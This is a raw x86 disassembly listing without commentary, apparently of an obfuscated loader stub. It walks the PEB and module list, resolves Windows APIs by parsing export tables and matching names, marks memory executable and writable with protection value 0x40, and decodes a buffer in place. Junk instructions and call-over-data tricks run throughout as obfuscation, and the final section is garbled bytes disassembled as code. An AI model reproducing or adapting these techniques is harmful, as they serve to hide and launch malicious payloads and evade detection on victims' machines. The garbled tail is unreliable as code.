add esp, 4
and ecx, 0x5333
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x58b52a
push esi
push ecx
add esp, 4
jmp 0x58b4f4
sub esi, 0x1664d
call 0x58b507
add byte [esi + 0x37], al
cmp al, 0x47
inc esi
xor eax, 0x4c4833c
call 0x58b517
add byte [ecx + 0x3e], al
inc ecx
xor edi, dword [ecx]
inc edi
add esp, 4
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x58c052
push eax
push ecx
add esp, 4
xor eax, 0x656c
pop eax
push ebx
jmp 0x58b53c
xor ebx, 0x6e4d
pop ebx
push edi
push edi
add esp, 4
sub edi, 0x8362
and edi, 0x301f
jmp 0x58b55b
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x58b59b
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x58b88c
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x58b5c3
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x58b88c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x58b5f5
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x58b88c
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x58b61a
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x58b88c
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x58b674
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x58b880
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x58b6e4
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x58b796
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x58b796
push ecx
xor ecx, 0x72ba
and ecx, 0x5e1c
pop ecx
push ebx
sub ebx, 0x7bd8
call 0x58b734
add byte [edx], dh
xor al, 0x4d
inc esi
cmp al, 0x44
xor ecx, dword [edx - 0x7d]
les eax, [ebx + ebp*8]
add ecx, dword [ecx + 0x3b]
inc eax
or ebx, 0x9c90
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x58b788
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x58b78f
jmp 0x58b6d5
jmp 0x58b796
push ecx
and ecx, 0x17b18
xor ecx, 0x11fff
pop ecx
push ebx
or ebx, 0x4393
and ebx, 0x93f8
pop ebx
push esi
sub esi, 0x6d92
and esi, 0x142ed
pop esi
push ebx
and ebx, 0x2755
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x58b7f5
mov dword [ebp - 0xc5c], 0
jmp 0x58b864
push eax
push ebx
add esp, 4
sub eax, 0x7415
pop eax
push edi
xor edi, 0x18545
call 0x58b817
add byte [esi], dh
dec edx
inc ecx
cmp al, 0x3b
cmp eax, 0xc4834c4d
add al, 0x81
out dx, eax
ja 0x58b826
add dword [eax], eax
xor edi, 0x5754
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x58b85a
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x58b864
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x58b87b
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x58b88c
jmp 0x58b665
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x58b967
push esi
push edx
add esp, 4
call 0x58b8ac
add byte [ebx], bh
xor eax, 0x3c4d3534
cmp dword [ecx - 0x7d], ecx
les eax, [ecx + eax*4]
invalid
push edx
push eax
add esp, 4
add edx, 0x1324a
sub edx, 0x9f80
xor edx, 0x5931
add edx, 0x16225
pop edx
push edx
call 0x58b995
add byte [ecx + 0x32], cl
inc edi
cmp al, 0x45
xor eax, 0x83333c4d
les eax, [edx + ebx*2]
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push eax
add esp, 4
or edx, 0xb21
xor edx, 0x6160
sub edx, 0xb142
sub edx, 0xe971
pop edx
push edi
push ebx
add esp, 4
sub edi, 0x16489
pop edi
push esi
add esi, 0x22e1
pop esi
cmp dword [ebp - 0x1574], 0
jne 0x58ba0b
mov dword [ebp - 0x2a8], 0
jmp 0x58bcb2
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
xor edx, 0x16f32
jmp 0x58ba2d
or edx, 0x17a60
pop edx
push eax
push eax
add esp, 4
jmp 0x58ba40
add eax, 0x6782
pop eax
push edx
or edx, 0x10831
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x58ba67
mov dword [ebp - 0x2a8], 0
jmp 0x58bcb2
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
push esi
add esp, 4
and ecx, 0x133a
call 0x58ba8d
add byte [esi + 0x45], al
dec esp
dec eax
dec ebx
xor edi, dword [edx]
dec ecx
inc ebp
add esp, 4
pop ecx
push eax
sub eax, 0x8dfb
pop eax
push edi
push edx
add esp, 4
xor edi, 0x248
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push edx
add esp, 4
and esi, 0xd887
or esi, 0x257e
add esi, 0x11d6b
call 0x58baf2
add byte [esi + 0x3f], al
inc esi
dec esi
dec ecx
add esp, 4
pop esi
push ebx
push esi
add esp, 4
jmp 0x58bb00
pop ebx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
push esi
add esp, 4
xor edx, 0x2cb4
add edx, 0xf909
add edx, 0x3c30
pop edx
push edi
and edi, 0x72c1
and edi, 0xc566
and edi, 0x5d67
add edi, 0x2804
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x58bba7
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x58bc01
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x58bacf
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x58bacf
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x58bbeb
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x58bbf5
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x58bc4a
push ecx
call 0x58bc1a
add byte [eax], bh
xor al, 0x41
cmp dword [edx], edi
inc ecx
aaa
push eax
cmp al, byte [ebx + 0x515904c4]
push eax
add esp, 4
and ecx, 0x8441
xor ecx, 0x1597
add ecx, 0xb0ef
sub ecx, 0x17f21
pop ecx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x58bcb2
push eax
and eax, 0x69d1
and eax, 0x59
and eax, 0x16606
and eax, 0x3598
pop eax
push eax
push edi
add esp, 4
xor eax, 0xd4d7
xor eax, 0xe252
sub eax, 0x7376
pop eax
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x58bca8
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x58ba73
mov dword [ebp - 0x2a8], 0
push esi
push esi
add esp, 4
sub esi, 0x1070f
add esi, 0x1f34
call 0x58bcd2
add byte [esi], bh
dec ebp
inc ebp
xor al, 0x46
dec esi
inc esp
dec eax
add esp, 4
or esi, 0x14137
pop esi
push ebx
xor ebx, 0x1733c
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
push edx
add esp, 4
add edi, 0xf3b3
pop edi
push ebx
and ebx, 0x122ac
pop ebx
push edi
or edi, 0x13674
pop edi
push ebx
sub ebx, 0x7cb4
add ebx, 0x10abf
pop ebx
push edx
add edx, 0xa2b0
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x58bd55
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x58c046
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x58bd7d
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x58c046
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x58bdaf
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x58c046
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x58bdd4
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x58c046
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x58be2e
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x58c03a
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x58be9e
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x58bf50
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x58bf50
push esi
xor esi, 0x98f0
call 0x58bedf
add byte [edx], dh
dec edi
xor al, 0x37
inc esi
inc esp
add esp, 4
jmp 0x58bee9
jmp 0x58bef0
pop esi
push edi
push esi
add esp, 4
xor edi, 0x165ab
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x58bf42
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x58bf49
jmp 0x58be8f
jmp 0x58bf50
push ebx
xor ebx, 0x8ffd
pop ebx
push edi
jmp 0x58bf5e
add edi, 0x2072
jmp 0x58bf6a
and edi, 0xfc9b
pop edi
push eax
push ecx
add esp, 4
jmp 0x58bf7b
add eax, 0x143cb
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x58bfaf
mov dword [ebp - 0xc6c], 0
jmp 0x58c01e
push esi
call 0x58bfc0
add byte [edx], bh
dec edi
xor al, 0x45
xor eax, 0x3448354a
add esp, 4
xor esi, 0xfde1
or esi, 0x13d0f
call 0x58bfdd
add byte [edi + 0x3c], cl
dec ebx
inc esi
xor al, 0x4b
cmp eax, 0x5e04c483
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x58c014
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x58c01e
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x58c035
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x58c046
jmp 0x58be1f
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push esi
sub esi, 0xf007
or esi, 0x3a0c
or esi, 0x7985
pop esi
push eax
push ebx
add esp, 4
xor eax, 0x10cbd
pop eax
push edx
push edx
add esp, 4
xor edx, 0x1176b
xor edx, 0x86cb
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x58c0f7
push edi
push edx
add esp, 4
jmp 0x58c0bd
pop edi
push ecx
push esi
add esp, 4
or ecx, 0x9ddb
call 0x58c0d9
add byte [eax + 0x3e], cl
dec edi
inc ebx
aaa
push eax
inc edi
dec edi
cmp dword [ebx], edi
add esp, 4
add ecx, 0x17c9
pop ecx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x58c114
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x58c170
push ebx
or ebx, 0x4ac6
add ebx, 0xe684
pop ebx
push eax
push ebx
add esp, 4
and eax, 0x183df
call 0x58c148
add byte [esp + ecx*2], bh
aas
aaa
cmp bh, byte [edi]
dec ecx
add esp, 4
pop eax
push edi
and edi, 0xe6df
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x58c105
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x58c1e8
push eax
add eax, 0xb46a
pop eax
push edx
xor edx, 0x1b0e
pop edx
push ebx
and ebx, 0x1618
pop ebx
push eax
and eax, 0x13515
xor eax, 0xf703
xor eax, 0xff83
xor eax, 0x1700c
pop eax
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ebx
add ebx, 0x36e0
jmp 0x58c1f8
call 0x58c204
add byte [0x3e373d4f], bh
xor eax, dword [ebx - 0x1c7efb3c]
cld
jnp 0x58c20c
add byte [ebx + 0x51], bl
push ecx
add esp, 4
and ecx, 0x101de
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff07ff
pop ecx
pop edx
pop ebp
mov cl, bl
or ecx, dword [eax + 0x87706ca]
pop es
bound edx, qword [edi - 0x78]
out 0xf2, eax
lahf
pop es
pop es
mov bh, dh
cmc
jmp 0x59b7c94a
pop es
mov dl, cl
adc byte [edi + 7], bl
pop es
bound ecx, qword [edx + 0x6f55fc4]
push es
pop es
jl 0x5936a4
into
mov word [edi + 4], ss
push es
push es
pop es
pop es
pop es
pop es
invalid
dec edi
adc edx, dword [edx - 0x636feca8]
mov bh, 0xf9
push es
push es
pop edx
pop ebp
mov cl, bl
or ecx, dword [eax + 0x7c0c3ea]
pop es
out dx, eax
push cs
pop es
pop es
pop es
pop es
push esp
dec ebx
inc ebx
inc eax
cmp eax, 0xbcb8a39
mov dl, ch
dec edx
jnp 0x5936d5
pop es
out dx, eax
adc byte [edi], al
pop es
pop es
pop es
push edi
dec edx
inc esp
dec edx
cmp cl, byte ds:[edx + 0x54]
mov cl, bl
or esp, dword [edx - 0x76]
les esi, [edi + 0x70606f9]
jl 0x593700
into
mov word [edi + 4], ss
push es
push es
pop es
pop es
pop es
pop es
invalid
mov word [ebx], ds
add eax, dword [esi]
push es
pop ebp
out dx, eax
sysret
hlt